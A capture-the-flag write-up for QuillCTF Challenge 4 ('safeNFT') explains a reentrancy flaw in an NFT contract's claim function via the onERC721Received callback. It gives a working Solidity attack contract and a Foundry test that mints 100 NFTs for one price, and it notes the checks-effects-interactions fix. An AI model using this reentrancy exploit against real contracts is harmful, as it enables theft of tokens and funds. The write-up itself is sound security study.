Challenge 4 safeNFT

Description of the vulnerability:

1. Unprotected callback, if a function performs a callback to the recipient for token to check if they are willing to accept the token or not then it may lead to state changing events in the caller contract by the recipient. In safeNFT contract any recipient contract got a callback to check **onERC721Receiver** function implemented or not. If implemented the recipient can write whatever logic he wants, including calling a claim function to reenter again and again, which leads to reentrancy.

2.In the claim function if the developer follows the **check, effect** and **interaction** pattern can easily eliminate reentrancy.

Attack step:

1.buy ()	//attack contract function
Calls buyNFT ()	//target contract function
2.claimNFT ()	//attack contract function
Calls claim ()	//target contract function

Proof of concept:

Challege4Attack.sol:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.7;

/**

 * @title Attack contract for challenge4

 * @author PULAMARASETTI NAVEEN(Purple_Calender)

 * @notice minting multiple NFTs for one NFT price

 * @dev loophole is unprotected callback to the recepient

 * @custom:experimental this contract only for experimental puprose

 */
```

```
interface ISafeMint {
    function totalSupply() external view returns (uint256);
    function buyNFT() external payable;
    function claim() external;
}
contract Attack {
    ///target contract address
    address public targetAddr;

    constructor(address addr) payable {
        targetAddr = addr;
    }
    function Buy () external {
        ISafeMint(targetAddr).buyNFT{value: 10000000000000000 wei}();
    }

    function claimNFT() external {
        ISafeMint(targetAddr).claim();
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) public returns (bytes4) {
        if (ISafeMint(targetAddr).totalSupply() < 100) {
            ISafeMint(targetAddr).claim();
        }
        return this.onERC721Received.selector;
    }
}
```

2.challenge4.t.sol:

```
//SPDX-License-Identifier:UNLICENSED
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "src/quillCTF/challenge4.sol";
import "src/quillCTF/challenge4Attack.sol";
contract TestChallenge4 is Test {
    safeNFT public challenge;
    Attack public attack;
    ///setup
    constructor() {
        challenge = new safeNFT("Purple_Calender", "PC", 100000000000000000);
        vm.deal(address(this), 3 ether);
        attack = new Attack{value: 1 ether}(address(challenge));
    }

    ///Claiming multiple NFTs for the price of one
    function test_claim() public {
        attack.Buy();
        attack.claimNFT();
        emit log_named_uint(
            "balanceOf attack",
            challenge.balanceOf(address(attack))
        );
        assertEq(challenge.balanceOf(address(attack)), 100);
    }
}
```

<u>NOTE</u>: to test it use **forge build –vv** in foundary